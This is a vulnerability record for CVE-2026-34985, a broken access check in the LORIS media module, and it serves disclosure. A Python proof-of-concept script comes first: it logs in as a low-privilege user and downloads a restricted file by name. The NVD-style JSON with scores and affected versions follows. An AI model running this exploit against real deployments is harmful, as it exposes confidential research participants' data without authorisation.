CVE-2026-34985

import requests # Target URL (example) base_url = "http://target-loris-instance" login_url = f"{base_url}/login" file_url = f"{base_url}/media/files/sensitive_research_data.csv" # Attacker credentials (low privilege) credentials = { "username": "attacker", "password": "password123" } # Create a session to maintain cookies session = requests.Session() # 1. Authenticate as a low-privilege user login_response = session.post(login_url, data=credentials) if login_response.status_code == 200: print("[+] Login successful") # 2. Exploit: Request a file that should be restricted # The backend checks if the file exists, but NOT if the user has permission exploit_response = session.get(file_url) if exploit_response.status_code == 200: print("[+] Exploit successful! File content downloaded:") print(exploit_response.text) else: print("[-] Failed to access file") else: print("[-] Login failed")

{"cve": {"id": "CVE-2026-34985", "sourceIdentifier": "[email protected]", "published": "2026-04-08T19:25:23.157", "lastModified": "2026-04-21T20:20:00.083", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "LORIS (Longitudinal Online Research and Imaging System) is a self-hosted web application that provides data- and project-management for neuroimaging research. From 16.1.0 to before 27.0.3 and 28.0.1, While the frontend of the media module filters files that the user should not have access to, the backend was not applying access checks and it would be possible for someone who should not have access to a file to access it if they know the filename. This vulnerability is fixed in 27.0.3 and 28.0.1."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L", "baseScore": 6.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 3.4}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-639"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:mcgill:loris:*:*:*:*:*:*:*:*", "versionStartIncluding": "16.1.0", "versionEndIncluding": "27.0.2", "matchCriteriaId": "8F804E5A-C679-411E-AA44-8CDEEC883F11"}, {"vulnerable": true, "criteria": "cpe:2.3:a:mcgill:loris:28.0.0:*:*:*:*:*:*:*", "matchCriteriaId": "D358B66A-04AC-44F2-8EF6-4332D8AC00F4"}]}]}], "references": [{"url": "https://github.com/aces/Loris/security/advisories/GHSA-p42c-4gmq-hrjw", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}